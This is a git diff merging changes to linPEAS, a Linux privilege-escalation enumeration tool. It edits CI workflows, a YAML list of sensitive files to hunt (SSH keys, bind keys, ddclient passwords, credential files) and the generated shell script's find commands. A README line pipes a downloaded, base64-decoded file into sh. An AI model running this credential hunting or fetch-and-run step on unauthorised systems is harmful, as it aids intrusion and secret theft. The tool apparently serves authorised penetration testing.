Merge pull request #158 from carlospolop/linpeas_dev

fix

.github/workflows/CI-linpeas_dev.yml

@@ -8,8 +8,6 @@ on:
   push:
     branches: 
       - linpeas_dev
-    paths-ignore:
-      - 'linPEAS/linpeas.sh'
 
   # Allows you to run this workflow manually from the Actions tab
   workflow_dispatch:

.github/workflows/CI-linpeas_prod_rebuild.yml

@@ -0,0 +1,52 @@
+# This is a basic workflow to help you get started with Actions
+
+name: CI-linpeas_prod_rebuild
+
+# Controls when the action will run. 
+on:
+  # Triggers the workflow on push or pull request events but only for the master branch
+  pull_request:
+    branches: 
+      - master
+    paths:
+      - 'build_lists/sensitive_files.yaml'
+
+  # Allows you to run this workflow manually from the Actions tab
+  workflow_dispatch:
+
+# A workflow run is made up of one or more jobs that can run sequentially or in parallel
+jobs:
+  # This workflow contains a single job called "build"
+  build:
+    # The type of runner that the job will run on
+    runs-on: ubuntu-latest
+
+    # Steps represent a sequence of tasks that will be executed as part of the job
+    steps:
+      # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it
+      - uses: actions/checkout@v2
+
+      - name: Build linpeas
+        run: |
+          python3 -m pip install PyYAML
+          cd linPEAS
+          python3 -m builder.linpeas_builder
+
+      # Runs a single command using the runners shell
+      - name: Run linpeas
+        run: linPEAS/linpeas.sh -h
+
+      - name: Create local changes
+        run: git add linPEAS/linpeas.sh
+
+      - name: Commit results to Github
+        run: |
+          git config --local user.email ""
+          git config --global user.name "CI-linpeas-ubuntu"
+          git commit -m "linpeas.sh auto update" -a --allow-empty
+      
+      - name: Push changes
+        uses: ad-m/github-push-action@master
+        with:
+           github_token: ${{ secrets.GITHUB_TOKEN }}
+           branch: ${{ github.ref }}

build_lists/sensitive_files.yaml

@@ -60,6 +60,8 @@ common_directory_folders:
   - /usr
   - /var
 
+peas_extrasections_markup: "peass{EXTRA_SECTIONS}"
+
 peas_finds_markup: "peass{FINDS_HERE}"
 find_line_markup: "peass{FIND_PARAMS_HERE}"
 find_template: >
@@ -496,7 +498,7 @@ search:
   
   SSH_FILES:
     config:
-      auto_check: False
+      auto_check: True
 
     files:
       ? "id_dsa*"
@@ -525,6 +527,7 @@ search:
       
       ? "authorized_keys"
       : 
+        good_regex: 'from=[\w\._\-]+'
         type: f
         search_in: 
           - common
@@ -1538,6 +1541,39 @@ search:
         search_in: 
           - common
 
+  Bind:
+    config:
+      auto_check: True
+
+    files:
+      ? "bind"
+      : 
+        files:
+          ? "*"
+          :
+            just_list_file: True
+
+          ? "*.key"
+          :
+            bad_regex: ".*"
+            remove_empty_lines: True
+            remove_regex: "^#"
+        type: d
+        search_in: 
+          - common
+
+  Ddclient:
+    config:
+      auto_check: True
+
+    files:
+      ? "ddclient.conf"
+      : 
+        bad_regex: ".*password.*"
+        type: f
+        search_in: 
+          - common
+
   Interesting logs:
     config:
       auto_check: True
@@ -2031,18 +2067,28 @@ search:
     files:
       ? "*password*"
       : 
+        just_list_file: True
         type: f
         search_in: 
           - common
       
       ? "*credential*"
       : 
+        just_list_file: True
         type: f
         search_in: 
           - common
 
       ? "creds*"
       : 
+        just_list_file: True
+        type: f
+        search_in: 
+          - common
+
+      ? "*.key"
+      : 
+        just_list_file: True
         type: f
         search_in: 
           - common

linPEAS/README.md

@@ -49,8 +49,6 @@ sudo python -m SimpleHTTPServer 80 #Start HTTP server
 curl 10.10.10.10/lp.enc | base64 -d | sh #Download from the victim
 ```
 
-**Use the parameter `-a` to execute all these checks.**
-
 ## MacPEAS
 
 Just execute `linpeas.sh` in a MacOS system and the **MacPEAS version will be automatically executed!!**
@@ -78,7 +76,7 @@ By default linpeas takes around **2 mins** to complete, but It could take from *
 
 This script has **several lists** included inside of it to be able to **color the results** in order to highlight PE vector.
 
-LinPEAS also **exports a new PATH** variable during the execution if common folders aren't present in the original PATH variable. It also **exports and unset** some environmental variables during the execution so no command executed during the session will be saved in the history file (you can avoid this actions using the parameter **-n**).
+LinPEAS also **exports a new PATH** variable during the execution if common folders aren't present in the original PATH variable.
 
 ![](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/images/help.png)
 
@@ -147,9 +145,9 @@ Here you have an old linpe version script in one line, **just copy and paste it*
 
 **The color filtering is not available in the one-liner** (the lists are too big)
 
-This one-liner is deprecated (I am not going to update it more), but it could be useful in some cases so it will remain here:
+This one-liner is deprecated (I'm not going to update it any more), but it could be useful in some cases so it will remain here.
 
-The default file where all the data is recorded is: */tmp/linPE* (you can change it at the beginning of the script)
+The default file where all the data is stored is: */tmp/linPE* (you can change it at the beginning of the script)
 
 
 ```sh

linPEAS/builder/linpeas_base.sh

@@ -470,9 +470,9 @@ profiledG="01-locale-fix.sh|256term.csh|256term.sh|abrt-console-notification.sh|
 
 knw_emails=".*@aivazian.fsnet.co.uk|.*@angband.pl|.*@canonical.com|.*centos.org|.*debian.net|.*debian.org|.*@jff.email|.*kali.org|.*linux.it|.*@linuxia.de|.*@lists.debian-maintainers.org|.*@mit.edu|.*@oss.sgi.com|.*@qualcomm.com|.*redhat.com|.*ubuntu.com|.*@vger.kernel.org|rogershimizu@gmail.com|thmarques@gmail.com"
 
-timersG="anacron.timer|apt-daily.timer|apt-daily-upgrade.timer|e2scrub_all.timer|fstrim.timer|fwupd-refresh.timer|geoipupdate.timer|io.netplan.Netplan|logrotate.timer|man-db.timer|mlocate.timer|motd-news.timer|phpsessionclean.timer|snapd.refresh.timer|snapd.snap-repair.timer|systemd-tmpfiles-clean.timer|systemd-readahead-done.timer|ureadahead-stop.timer"
+timersG="anacron.timer|apt-daily.timer|apt-daily-upgrade.timer|e2scrub_all.timer|fstrim.timer|fwupd-refresh.timer|geoipupdate.timer|io.netplan.Netplan|logrotate.timer|man-db.timer|mlocate.timer|motd-news.timer|phpsessionclean.timer|snapd.refresh.timer|snapd.snap-repair.timer|systemd-tmpfiles-clean.timer|systemd-readahead-done.timer|ua-messaging.timer|ureadahead-stop.timer"
 
-commonrootdirsG="^/$|/bin$|/boot$|/.cache$|/cdrom|/dev$|/etc$|/home$|/lost+found$|/lib$|/lib64$|/media$|/mnt$|/opt$|/proc$|/root$|/run$|/sbin$|/snap$|/srv$|/sys$|/tmp$|/usr$|/var$"
+commonrootdirsG="^/$|/bin$|/boot$|/.cache$|/cdrom|/dev$|/etc$|/home$|/lost+found$|/lib$|/lib32$|libx32$|/lib64$|lost\+found|/media$|/mnt$|/opt$|/proc$|/root$|/run$|/sbin$|/snap$|/srv$|/sys$|/tmp$|/usr$|/var$"
 commonrootdirsMacG="^/$|/.DocumentRevisions-V100|/.fseventsd|/.PKInstallSandboxManager-SystemSoftware|/.Spotlight-V100|/.Trashes|/.vol|/Applications|/bin|/cores|/dev|/home|/Library|/macOS Install Data|/net|/Network|/opt|/private|/sbin|/System|/Users|/usr|/Volumes"
 
 ldsoconfdG="/lib32|/lib/x86_64-linux-gnu|/usr/lib32|/usr/lib/oracle/19.6/client64/lib/|/usr/lib/x86_64-linux-gnu/libfakeroot|/usr/lib/x86_64-linux-gnu|/usr/local/lib/x86_64-linux-gnu|/usr/local/lib"
@@ -547,7 +547,7 @@ print_title(){
   END_T2_TIME=`date +%s 2>/dev/null`
   if [ "$START_T2_TIME" ]; then
     TOTAL_T2_TIME=$(($END_T2_TIME - $START_T2_TIME))
-    printf $DG"The section execution took $TOTAL_T2_TIME seconds\n"$NC
+    printf $DG"This check took $TOTAL_T2_TIME seconds\n"$NC
   fi
 
   END_T1_TIME=`date +%s 2>/dev/null`
@@ -1404,8 +1404,8 @@ if [ "`echo $CHECKS | grep ProCronSrvcsTmrsSocks`" ]; then
   crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
   command -v incrontab 2>/dev/null || echo_not_found "incrontab"
   incrontab -l 2>/dev/null
-  ls -al /etc/cron* 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
-  cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs /var/spool/cron/crontabs/* /var/spool/anacron /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#\|test \-x /usr/sbin/anacron\|run\-parts \-\-report /etc/cron.hourly\| root run-parts /etc/cron." | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE},"  | sed "s,root,${SED_RED},"
+  ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
+  cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#\|test \-x /usr/sbin/anacron\|run\-parts \-\-report /etc/cron.hourly\| root run-parts /etc/cron." | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE},"  | sed "s,root,${SED_RED},"
   crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
   ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ 2>/dev/null #MacOS paths
   echo ""
@@ -1971,9 +1971,7 @@ if [ "`echo $CHECKS | grep SofI`" ]; then
   hostsdenied="`ls /etc/hosts.denied 2>/dev/null`"
   hostsallow="`ls /etc/hosts.allow 2>/dev/null`"
 
-  if [ "$PSTORAGE_SSH_FILES"  ]; then
-    printf "$PSTORAGE_SSH_FILES\n"
-  fi
+  peass{SSH_FILES}
 
   grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED},"
 
@@ -2337,6 +2335,8 @@ if [ "`echo $CHECKS | grep SofI`" ]; then
 
   peass{FTP}
 
+  peass{EXTRA_SECTIONS}
+
   peass{Interesting logs}
 
   peass{Windows Files}

linPEAS/builder/src/linpeasBuilder.py

@@ -15,6 +15,7 @@ from .yamlGlobals import (
     FIND_LINE_MARKUP,
     STORAGE_LINE_MARKUP,
     STORAGE_LINE_EXTRA_MARKUP,
+    EXTRASECTIONS_MARKUP
 )
 
 
@@ -42,7 +43,7 @@ class LinpeasBuilder:
         #Replace interesting hidden files markup for a list of all the serched hidden files
         self.__replace_mark(INT_HIDDEN_FILES_MARKUP, self.hidden_files, "|")
 
-        #Check if there are duplecate peass marks
+        #Check if there are duplicate peass marks
         peass_marks = self.__get_peass_marks()
         for i,mark in enumerate(peass_marks):
             for j in range(i+1,len(peass_marks)):
@@ -52,8 +53,12 @@ class LinpeasBuilder:
         sections = self.__generate_sections()
         for section_name, bash_lines in sections.items():
             mark = "peass{"+section_name+"}"
-            assert mark in peass_marks, f"Mark {mark} wasn't found in linpeas base"
-            self.__replace_mark(mark, list(bash_lines), "")
+            if mark in peass_marks:
+                self.__replace_mark(mark, list(bash_lines), "")
+            else:
+                self.__replace_mark(EXTRASECTIONS_MARKUP, [bash_lines, EXTRASECTIONS_MARKUP], "\n\n")
+        
+        self.__replace_mark(EXTRASECTIONS_MARKUP, list(""), "") #Delete extra markup
 
         #Check that there aren peass marks left in linpeas
         peass_marks = self.__get_peass_marks()
@@ -153,7 +158,7 @@ class LinpeasBuilder:
 
         for precord in self.ploaded.peasrecords:
             if precord.auto_check:
-                section = f'  print_2title "Analizing {precord.name} Files (limit 70)"\n'
+                section = f'  print_2title "Analizing {precord.name.replace("_"," ")} Files (limit 70)"\n'
 
                 for exec_line in precord.exec:
                     if exec_line:

linPEAS/builder/src/yamlGlobals.py

@@ -27,4 +27,6 @@ STORAGE_LINE_MARKUP = YAML_LOADED["storage_line_markup"]
 STORAGE_LINE_EXTRA_MARKUP = YAML_LOADED["storage_line_extra_markup"]
 STORAGE_TEMPLATE = YAML_LOADED["storage_template"]
 
-INT_HIDDEN_FILES_MARKUP = YAML_LOADED["int_hidden_files_markup"]
+INT_HIDDEN_FILES_MARKUP = YAML_LOADED["int_hidden_files_markup"]
+
+EXTRASECTIONS_MARKUP = YAML_LOADED["peas_extrasections_markup"]

linPEAS/linpeas.sh

@@ -470,9 +470,9 @@ profiledG="01-locale-fix.sh|256term.csh|256term.sh|abrt-console-notification.sh|
 
 knw_emails=".*@aivazian.fsnet.co.uk|.*@angband.pl|.*@canonical.com|.*centos.org|.*debian.net|.*debian.org|.*@jff.email|.*kali.org|.*linux.it|.*@linuxia.de|.*@lists.debian-maintainers.org|.*@mit.edu|.*@oss.sgi.com|.*@qualcomm.com|.*redhat.com|.*ubuntu.com|.*@vger.kernel.org|rogershimizu@gmail.com|thmarques@gmail.com"
 
-timersG="anacron.timer|apt-daily.timer|apt-daily-upgrade.timer|e2scrub_all.timer|fstrim.timer|fwupd-refresh.timer|geoipupdate.timer|io.netplan.Netplan|logrotate.timer|man-db.timer|mlocate.timer|motd-news.timer|phpsessionclean.timer|snapd.refresh.timer|snapd.snap-repair.timer|systemd-tmpfiles-clean.timer|systemd-readahead-done.timer|ureadahead-stop.timer"
+timersG="anacron.timer|apt-daily.timer|apt-daily-upgrade.timer|e2scrub_all.timer|fstrim.timer|fwupd-refresh.timer|geoipupdate.timer|io.netplan.Netplan|logrotate.timer|man-db.timer|mlocate.timer|motd-news.timer|phpsessionclean.timer|snapd.refresh.timer|snapd.snap-repair.timer|systemd-tmpfiles-clean.timer|systemd-readahead-done.timer|ua-messaging.timer|ureadahead-stop.timer"
 
-commonrootdirsG="^/$|/bin$|/boot$|/.cache$|/cdrom|/dev$|/etc$|/home$|/lost+found$|/lib$|/lib64$|/media$|/mnt$|/opt$|/proc$|/root$|/run$|/sbin$|/snap$|/srv$|/sys$|/tmp$|/usr$|/var$"
+commonrootdirsG="^/$|/bin$|/boot$|/.cache$|/cdrom|/dev$|/etc$|/home$|/lost+found$|/lib$|/lib32$|libx32$|/lib64$|lost\+found|/media$|/mnt$|/opt$|/proc$|/root$|/run$|/sbin$|/snap$|/srv$|/sys$|/tmp$|/usr$|/var$"
 commonrootdirsMacG="^/$|/.DocumentRevisions-V100|/.fseventsd|/.PKInstallSandboxManager-SystemSoftware|/.Spotlight-V100|/.Trashes|/.vol|/Applications|/bin|/cores|/dev|/home|/Library|/macOS Install Data|/net|/Network|/opt|/private|/sbin|/System|/Users|/usr|/Volumes"
 
 ldsoconfdG="/lib32|/lib/x86_64-linux-gnu|/usr/lib32|/usr/lib/oracle/19.6/client64/lib/|/usr/lib/x86_64-linux-gnu/libfakeroot|/usr/lib/x86_64-linux-gnu|/usr/local/lib/x86_64-linux-gnu|/usr/local/lib"
@@ -485,7 +485,7 @@ GREP_DOCKER_SOCK_INFOS="Architecture|OSType|Name|DockerRootDir|NCPU|OperatingSys
 GREP_DOCKER_SOCK_INFOS_IGNORE="IndexConfig"
 GREP_IGNORE_MOUNTS="/ /|/cgroup|/var/lib/docker/|/null | proc proc |/dev/console|docker.sock"
 
-INT_HIDDEN_FILES=".csr|.profile|.timer|.ovpn|.gpg|.htpasswd|.p12|.gitconfig|.pem|.google_authenticator|.rhosts|.crt|.service|.git-credentials|.msmtprc|.svn|.cer|.recently-used.xbel|.db|.sqlite|.k5login|.keystore|.pgp|.github|.vnc|.pypirc|.pfx|.plan|.ftpconfig|.ldaprc|.mozilla|.kdbx|.jks|.rdg|.sqlite3|.gnupg|.erlang.cookie|.bashrc|.vault-token|._history|.sudo_as_admin_successful|.bluemix|.irssi|.lesshst|.socket|.viminfo|.env|.git|.swp|.keyring|.cloudflared|.der"
+INT_HIDDEN_FILES=".irssi|.gnupg|._history|.vault-token|.plan|.db|.rdg|.socket|.keyring|.htpasswd|.gitconfig|.pgp|.ldaprc|.p12|.bluemix|.viminfo|.der|.kdbx|.lesshst|.mozilla|.sqlite3|.key|.github|.profile|.cloudflared|.git|.sudo_as_admin_successful|.rhosts|.pem|.jks|.msmtprc|.git-credentials|.sqlite|.pfx|.timer|.vnc|.ovpn|.swp|.svn|.k5login|.gpg|.ftpconfig|.csr|.env|.recently-used.xbel|.cer|.crt|.keystore|.google_authenticator|.service|.pypirc|.erlang.cookie|.bashrc"
 
 ###########################################
 #---------) Checks before start (---------#
@@ -547,7 +547,7 @@ print_title(){
   END_T2_TIME=`date +%s 2>/dev/null`
   if [ "$START_T2_TIME" ]; then
     TOTAL_T2_TIME=$(($END_T2_TIME - $START_T2_TIME))
-    printf $DG"The section execution took $TOTAL_T2_TIME seconds\n"$NC
+    printf $DG"This check took $TOTAL_T2_TIME seconds\n"$NC
   fi
 
   END_T1_TIME=`date +%s 2>/dev/null`
@@ -1033,127 +1033,129 @@ if [ "`echo $CHECKS | grep ProCronSrvcsTmrsSocks`" ] || [ "`echo $CHECKS | grep
 
   CONT_THREADS=0
   # FIND ALL KNOWN INTERESTING SOFTWARE FILES
-  FIND_DIR_APPLICATIONS=`eval_bckgrd "find /applications -type d -name \"keyrings\" -o -name \"mysql\" -o -name \"neo4j\" -o -name \"couchdb\" -o -name \"filelliza\" -o -name \".svn\" -o -name \".bluemix\" -o -name \".irssi\" -o -name \"ldap\" -o -name \".cloudflared\" -o -name \".vnc\" -o -name \"logstash\" -o -name \"sites-enabled\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_DIR_BIN=`eval_bckgrd "find /bin -type d -name \"keyrings\" -o -name \"mysql\" -o -name \"neo4j\" -o -name \"couchdb\" -o -name \"filelliza\" -o -name \".svn\" -o -name \".bluemix\" -o -name \".irssi\" -o -name \"ldap\" -o -name \".cloudflared\" -o -name \".vnc\" -o -name \"logstash\" -o -name \"sites-enabled\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_DIR_CACHE=`eval_bckgrd "find /.cache -type d -name \"keyrings\" -o -name \"mysql\" -o -name \"neo4j\" -o -name \"couchdb\" -o -name \"filelliza\" -o -name \".svn\" -o -name \".bluemix\" -o -name \".irssi\" -o -name \"ldap\" -o -name \".cloudflared\" -o -name \".vnc\" -o -name \"logstash\" -o -name \"sites-enabled\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_DIR_CDROM=`eval_bckgrd "find /cdrom -type d -name \"keyrings\" -o -name \"mysql\" -o -name \"neo4j\" -o -name \"couchdb\" -o -name \"filelliza\" -o -name \".svn\" -o -name \".bluemix\" -o -name \".irssi\" -o -name \"ldap\" -o -name \".cloudflared\" -o -name \".vnc\" -o -name \"logstash\" -o -name \"sites-enabled\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_DIR_ETC=`eval_bckgrd "find /etc -type d -name \"system.d\" -o -name \"keyrings\" -o -name \"mysql\" -o -name \"neo4j\" -o -name \"couchdb\" -o -name \"filelliza\" -o -name \".svn\" -o -name \".bluemix\" -o -name \".irssi\" -o -name \"ldap\" -o -name \".cloudflared\" -o -name \".vnc\" -o -name \"logstash\" -o -name \"sites-enabled\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_DIR_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -type d -name \"keyrings\" -o -name \"mysql\" -o -name \"neo4j\" -o -name \"couchdb\" -o -name \"filelliza\" -o -name \".svn\" -o -name \".bluemix\" -o -name \".irssi\" -o -name \"ldap\" -o -name \".mozilla\" -o -name \".cloudflared\" -o -name \".vnc\" -o -name \"logstash\" -o -name \"sites-enabled\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_DIR_MEDIA=`eval_bckgrd "find /media -type d -name \"keyrings\" -o -name \"mysql\" -o -name \"neo4j\" -o -name \"couchdb\" -o -name \"filelliza\" -o -name \".svn\" -o -name \".bluemix\" -o -name \".irssi\" -o -name \"ldap\" -o -name \".cloudflared\" -o -name \".vnc\" -o -name \"logstash\" -o -name \"sites-enabled\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_DIR_MNT=`eval_bckgrd "find /mnt -type d -name \"keyrings\" -o -name \"mysql\" -o -name \"neo4j\" -o -name \"couchdb\" -o -name \"filelliza\" -o -name \".svn\" -o -name \".bluemix\" -o -name \".irssi\" -o -name \"ldap\" -o -name \".cloudflared\" -o -name \".vnc\" -o -name \"logstash\" -o -name \"sites-enabled\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_DIR_OPT=`eval_bckgrd "find /opt -type d -name \"keyrings\" -o -name \"mysql\" -o -name \"neo4j\" -o -name \"couchdb\" -o -name \"filelliza\" -o -name \".svn\" -o -name \".bluemix\" -o -name \".irssi\" -o -name \"ldap\" -o -name \".cloudflared\" -o -name \".vnc\" -o -name \"logstash\" -o -name \"sites-enabled\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_DIR_PRIVATE=`eval_bckgrd "find /private -type d -name \"keyrings\" -o -name \"mysql\" -o -name \"neo4j\" -o -name \"couchdb\" -o -name \"filelliza\" -o -name \".svn\" -o -name \".bluemix\" -o -name \".irssi\" -o -name \"ldap\" -o -name \".cloudflared\" -o -name \".vnc\" -o -name \"logstash\" -o -name \"sites-enabled\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_DIR_SBIN=`eval_bckgrd "find /sbin -type d -name \"keyrings\" -o -name \"mysql\" -o -name \"neo4j\" -o -name \"couchdb\" -o -name \"filelliza\" -o -name \".svn\" -o -name \".bluemix\" -o -name \".irssi\" -o -name \"ldap\" -o -name \".cloudflared\" -o -name \".vnc\" -o -name \"logstash\" -o -name \"sites-enabled\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_DIR_SNAP=`eval_bckgrd "find /snap -type d -name \"keyrings\" -o -name \"mysql\" -o -name \"neo4j\" -o -name \"couchdb\" -o -name \"filelliza\" -o -name \".svn\" -o -name \".bluemix\" -o -name \".irssi\" -o -name \"ldap\" -o -name \".cloudflared\" -o -name \".vnc\" -o -name \"logstash\" -o -name \"sites-enabled\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_DIR_SRV=`eval_bckgrd "find /srv -type d -name \"keyrings\" -o -name \"mysql\" -o -name \"neo4j\" -o -name \"couchdb\" -o -name \"filelliza\" -o -name \".svn\" -o -name \".bluemix\" -o -name \".irssi\" -o -name \"ldap\" -o -name \".cloudflared\" -o -name \".vnc\" -o -name \"logstash\" -o -name \"sites-enabled\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_DIR_TMP=`eval_bckgrd "find /tmp -type d -name \"keyrings\" -o -name \"mysql\" -o -name \"neo4j\" -o -name \"couchdb\" -o -name \"filelliza\" -o -name \".svn\" -o -name \".bluemix\" -o -name \".irssi\" -o -name \"ldap\" -o -name \".cloudflared\" -o -name \".vnc\" -o -name \"logstash\" -o -name \"sites-enabled\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_DIR_USR=`eval_bckgrd "find /usr -type d -name \"keyrings\" -o -name \"mysql\" -o -name \"neo4j\" -o -name \"couchdb\" -o -name \"filelliza\" -o -name \".svn\" -o -name \".bluemix\" -o -name \".irssi\" -o -name \"ldap\" -o -name \".cloudflared\" -o -name \".vnc\" -o -name \"logstash\" -o -name \"sites-enabled\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_DIR_VAR=`eval_bckgrd "find /var -type d -name \"keyrings\" -o -name \"mysql\" -o -name \"neo4j\" -o -name \"couchdb\" -o -name \"filelliza\" -o -name \".svn\" -o -name \".bluemix\" -o -name \".irssi\" -o -name \"ldap\" -o -name \".cloudflared\" -o -name \".vnc\" -o -name \"logstash\" -o -name \"sites-enabled\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
-  FIND_APPLICATIONS=`eval_bckgrd "find /applications -name \"ntuser.dat\" -o -name \"authorized_hosts\" -o -name \"ConsoleHost_history.txt\" -o -name \"anaconda-ks.cfg\" -o -name \"TokenCache.dat\" -o -name \"*.pgp\" -o -name \"*.rdg\" -o -name \"*.gpg\" -o -name \".rhosts\" -o -name \".git-credentials\" -o -name \"default.sav\" -o -name \"security\" -o -name \"settings.php\" -o -name \"unattend.xml\" -o -name \"backup\" -o -name \"Dockerfile\" -o -name \".recently-used.xbel\" -o -name \"sysprep.xml\" -o -name \"my.ini\" -o -name \"KeePass.ini\" -o -name \"*.pfx\" -o -name \"access_tokens.json\" -o -name \"*.pem\" -o -name \".plan\" -o -name \"redis.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sitemanager.xml\" -o -name \"wp-config.php\" -o -name \".bashrc\" -o -name \"unattended.xml\" -o -name \"id_rsa*\" -o -name \".sudo_as_admin_successful\" -o -name \"iis6.log\" -o -name \"sysprep.inf\" -o -name \"software.sav\" -o -name \"authorized_keys\" -o -name \"pagefile.sys\" -o -name \"*vnc*.xml\" -o -name \"bash.exe\" -o -name \"*.db\" -o -name \"pg_hba.conf\" -o -name \"unattend.inf\" -o -name \".profile\" -o -name \"setupinfo\" -o -name \".htpasswd\" -o -name \"docker-compose.yml\" -o -name \"AzureRMContext.json\" -o -name \"kibana.y*ml\" -o -name \"*.timer\" -o -name \"appcmd.exe\" -o -name \"KeePass.enforced*\" -o -name \"ffftp.ini\" -o -name \".msmtprc\" -o -name \"*.csr\" -o -name \"gitlab.yml\" -o -name \"docker.sock\" -o -name \"*.sqlite3\" -o -name \"recentservers.xml\" -o -name \"filezilla.xml\" -o -name \"pgsql.conf\" -o -name \".k5login\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"sites.ini\" -o -name \"server.xml\" -o -name \".pypirc\" -o -name \"unattend.txt\" -o -name \"error.log\" -o -name \"scclient.exe\" -o -name \"setupinfo.bak\" -o -name \"my.cnf\" -o -name \".ldaprc\" -o -name \"rsyncd.conf\" -o -name \"*.socket\" -o -name \".erlang.cookie\" -o -name \"rsyncd.secrets\" -o -name \"FreeSSHDservice.ini\" -o -name \"index.dat\" -o -name \"config.php\" -o -name \"cloud.cfg\" -o -name \"hostapd.conf\" -o -name \"scheduledtasks.xml\" -o -name \"known_hosts\" -o -name \"*.viminfo\" -o -name \"docker.socket\" -o -name \"*credential*\" -o -name \"krb5.conf\" -o -name \".env\" -o -name \"supervisord.conf\" -o -name \"*.swp\" -o -name \"ipsec.secrets\" -o -name \"postgresql.conf\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"elasticsearch.y*ml\" -o -name \"kadm5.acl\" -o -name \"accessTokens.json\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \".google_authenticator\" -o -name \"*config*.php\" -o -name \"*.jks\" -o -name \"*.sqlite\" -o -name \"security.sav\" -o -name \"database.php\" -o -name \"autologin.conf\" -o -name \"php.ini\" -o -name \"*.gnupg\" -o -name \"*vnc*.ini\" -o -name \"krb5.keytab\" -o -name \"ipsec.conf\" -o -name \"Ntds.dit\" -o -name \"*.ftpconfig\" -o -name \"httpd.conf\" -o -name \"winscp.ini\" -o -name \"*.ovpn\" -o -name \"*.keyring\" -o -name \"gitlab.rm\" -o -name \"ftp.ini\" -o -name \"services.xml\" -o -name \".vault-token\" -o -name \"https.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"datasources.xml\" -o -name \"system.sav\" -o -name \"NetSetup.log\" -o -name \"id_dsa*\" -o -name \"*.p12\" -o -name \"*password*\" -o -name \"AppEvent.Evt\" -o -name \"passwd\" -o -name \"*.keystore\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"SecEvent.Evt\" -o -name \"wcx_ftp.ini\" -o -name \"drives.xml\" -o -name \"cesi.conf\" -o -name \"credentials.db\" -o -name \"storage.php\" -o -name \".gitconfig\" -o -name \"*vnc*.txt\" -o -name \"pgadmin*.db\" -o -name \"snmpd.conf\" -o -name \"ftp.config\" -o -name \"*.crt\" -o -name \"hosts.equiv\" -o -name \"wsl.exe\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".github\" -o -name \"autologin\" -o -name \"groups.xml\" -o -name \"fastcgi_params\" -o -name \"*.cer\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"db.php\" -o -name \"web*.config\" -o -name \"*.kdbx\" -o -name \"software\" -o -name \"mongod*.conf\" -o -name \"*.der\" -o -name \"mosquitto.conf\" -o -name \"https-xampp.conf\" -o -name \"creds*\" -o -name \".lesshst\" -o -name \"000-default\" -o -name \".git\" -o -name \"access_tokens.db\" -o -name \".*_history\" -o -name \"tomcat-users.xml\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
